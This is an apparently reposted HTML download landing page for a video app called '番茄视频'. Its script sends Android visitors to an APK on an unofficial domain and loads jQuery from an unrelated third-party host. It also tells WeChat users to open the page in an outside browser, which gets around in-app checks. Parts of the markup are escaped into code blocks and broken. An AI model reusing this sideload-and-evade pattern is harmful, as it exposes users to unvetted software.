<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
	<title>番茄视频</title>
	<style type="text/css">
		body {
			margin: 0;
			padding: 0;
			background-color: #fff;
			font-family: "PingFangSC", "Microsoft YaHei", "Helvetica Neue", Helvetica, Arial, sans-serif;
		}
<pre><code>	div {
		box-sizing: border-box;
	}

	p {
		margin: 0;
	}

	.flex {
		display: flex;
	}

	.flex-center {
		align-items: center;
		justify-content: center;
	}

	.flex-align-items {
		align-items: center;
	}

	.flex-justify-content {
		justify-content: center;
	}

	.flex-column {
		flex-direction: column;
	}

	.g-container {
		width: 100%;
		height: 100%;
		min-width: 320px;
		max-width: 640px;
		min-height: 400px;
		max-height: 812px;
		position: absolute;
		left: 50%;
		top: 0;
		transform: translateX(-50%);
		background: url(http://pic.rmb.bdstatic.com/bjh/cf74c4f5f8df1044a8f26daf6e95e912.png) no-repeat top center;
		background-size: auto 100%;
	}

	.g-container .g-btn {
		height: 50px;
		background: rgba(33, 204, 100, 1);
		border-radius: 25px;
		margin: 0 auto;
		font-size: 17px;
		font-weight: bold;
		color: rgba(255, 255, 255, 1);
		cursor: pointer;
	}

	.g-container .g-btn-alt {
		height: 50px;
		background: rgba(0, 128, 0, 1);
		border-radius: 25px;
		margin: 0 auto;
		font-size: 17px;
		font-weight: bold;
		color: rgba(255, 255, 255, 1);
		cursor: pointer;
	}

	.g-cover {
		position: absolute;
		right: 10px;
		top: 10px;
		z-index: 10;
		width: 160px;
		height: 60px;
		padding: 8px 10px;
		font-size: 14px;
		background-color: #fff;
		border-radius: 5px;
		text-align: center;
		line-height: 22px;
		box-shadow: 0 3px 8px rgba(0, 0, 0, 0.08);
		display: none;
	}

	.g-cover span {
		color: rgba(30, 172, 95, 1);
	}
&lt;/style&gt;
</code></pre>
</head>
<body>
	<div class="g-container">
		<a class="g-btn flex flex-center" id="btn">点击下载APP</a>
		<a class="g-btn-alt flex flex-center" id="btn-alt" style="display:none;">备用下载</a>
	</div>
	<div class="g-cover" id="cover">请点击右上角选择<span>'浏览器中打开'</span></div>
<pre><code>&lt;script src=&quot;http://666.ddyy.shop/js/jquery.min.js&quot;&gt;&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
	var clientWidth = document.documentElement.clientWidth;
	var clientHeight = document.documentElement.clientHeight;

	if (clientWidth &lt;= 320) clientWidth = 320
	if (clientWidth &gt;= 640) clientWidth = 640
	if (clientHeight &lt;= 420) clientHeight = 420
	if (clientHeight &gt;= 812) clientHeight = 812

	var gBtn = document.getElementById('btn');
	var gBtnAlt = document.getElementById('btn-alt');

	gBtn.style.width = clientWidth * 0.536 + 'px'
	gBtn.style.marginTop = clientHeight * 0.64 + 'px'

	gBtnAlt.style.width = clientWidth * 0.536 + 'px'
	gBtnAlt.style.marginTop = clientHeight * 0.74 + 'px'

	var iosVersion = {
		&quot;add&quot;: false,
		&quot;allOrg&quot;: 0,
		&quot;allOrgStr&quot;: &quot;全员发布&quot;,
		&quot;archive&quot;: false,
		&quot;createTime&quot;: &quot;2020-02-27 13:55:24&quot;,
		&quot;downloadUrl&quot;: &quot;https://www.baidu.com/&quot;,
		&quot;expireTime&quot;: 0,
		&quot;forceUpdate&quot;: 0,
		&quot;forceUpdateStr&quot;: &quot;否&quot;,
		&quot;id&quot;: 6,
		&quot;installPackage&quot;: null,
		&quot;loginUser&quot;: null,
		&quot;mobileStr&quot;: &quot;&quot;,
		&quot;orgIds&quot;: &quot;&quot;,
		&quot;orgIdsStr&quot;: &quot;&quot;,
		&quot;orgPaths&quot;: [],
		&quot;osType&quot;: 2,
		&quot;osTypeStr&quot;: &quot;Android&quot;,
		&quot;qrCodeImgUrl&quot;: &quot;https://nim-nosdn.netease.im/MTEwMDQ4Nzk=/bmltd18wXzE1NzkwNTc1NTk5NjdfZGJiY2Y5Y2ItNmEzYi00NDE0LTk4ZWQtYzc4NDIyNzY1Njdj?imageView&quot;,
		&quot;tableName&quot;: &quot;IM_VERSION&quot;,
		&quot;testUserIds&quot;: &quot;&quot;,
		&quot;testUserList&quot;: [],
		&quot;updateContent&quot;: &quot;持续提升APP体验&quot;,
		&quot;updateContentList&quot;: [],
		&quot;updateTime&quot;: &quot;2020-02-27 13:56:15&quot;,
		&quot;urlType&quot;: 0,
		&quot;versionName&quot;: &quot;1.1.1&quot;,
		&quot;versionNum&quot;: &quot;1.1.1&quot;,
		&quot;versionSize&quot;: &quot;114&quot;,
		&quot;versionStatus&quot;: 3,
		&quot;versionStatusStr&quot;: &quot;已发布&quot;,
		&quot;versionTime&quot;: &quot;2020年02月27日&quot;
	};

	var aosVersion = {
		&quot;add&quot;: false,
		&quot;allOrg&quot;: 0,
		&quot;allOrgStr&quot;: &quot;全员发布&quot;,
		&quot;archive&quot;: false,
		&quot;createTime&quot;: &quot;2020-02-27 13:55:24&quot;,
		&quot;downloadUrl&quot;: &quot;http://www.fq66.app/%E7%95%AA%E8%8C%84%E8%A7%86%E9%A2%91.apk&quot;,
		&quot;expireTime&quot;: 0,
		&quot;forceUpdate&quot;: 0,
		&quot;forceUpdateStr&quot;: &quot;否&quot;,
		&quot;id&quot;: 6,
		&quot;installPackage&quot;: null,
		&quot;loginUser&quot;: null,
		&quot;mobileStr&quot;: &quot;&quot;,
		&quot;orgIds&quot;: &quot;&quot;,
		&quot;orgIdsStr&quot;: &quot;&quot;,
		&quot;orgPaths&quot;: [],
		&quot;osType&quot;: 2,
		&quot;osTypeStr&quot;: &quot;Android&quot;,
		&quot;qrCodeImgUrl&quot;: &quot;https://nim-nosdn.netease.im/MTEwMDQ4Nzk=/bmltd18wXzE1NzkwNTc1NTk5NjdfZGJiY2Y5Y2ItNmEzYi00NDE0LTk4ZWQtYzc4NDIyNzY1Njdj?imageView&quot;,
		&quot;tableName&quot;: &quot;IM_VERSION&quot;,
		&quot;testUserIds&quot;: &quot;&quot;,
		&quot;testUserList&quot;: [],
		&quot;updateContent&quot;: &quot;功能细节优化&quot;,
		&quot;updateContentList&quot;: [],
		&quot;updateTime&quot;: &quot;2020-02-27 13:56:15&quot;,
		&quot;urlType&quot;: 0,
		&quot;versionName&quot;: &quot;1.1.1&quot;,
		&quot;versionNum&quot;: &quot;1.1.1&quot;,
		&quot;versionSize&quot;: &quot;114&quot;,
		&quot;versionStatus&quot;: 3,
		&quot;versionStatusStr&quot;: &quot;已发布&quot;,
		&quot;versionTime&quot;: &quot;2020年02月27日&quot;
	};

	var u = navigator.userAgent;
	var isAndroid = u.indexOf('Android') &gt; -1 || u.indexOf('Adr') &gt; -1; //android终端
	var isiOS = !!u.match(/(i[^;]+;( U;)? CPU.+Mac OS X/));
	var ua = navigator.userAgent.toLowerCase(); //获取判断用的对象
	var isWeiXin = (ua.match(/MicroMessenger/i) == &quot;micromessenger&quot;);

	$(document).ready(function() {
		if (isWeiXin) {
			$(&quot;#btn&quot;).click(function() {
				$('#cover').show();
			})
		} else {
			if (isiOS) {
				$(&quot;#btn&quot;).click(function() {
					window.location.href = iosVersion.downloadUrl;
				})
				$(&quot;#btn-alt&quot;).click(function() {
					window.location.href = iosVersion.downloadUrl;
				})
				$(&quot;#btn-alt&quot;).show();
			} else {
				$(&quot;#btn&quot;).click(function() {
					window.location.href = aosVersion.downloadUrl;
				})
				$(&quot;#btn-alt&quot;).click(function() {
					window.location.href = aosVersion.downloadUrl;
				})
				$(&quot;#btn-alt&quot;).show();
			}
		}
	});
&lt;/script&gt;
</code></pre>
</html>

原文地址: https://www.cveoy.top/t/topic/mSM4 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录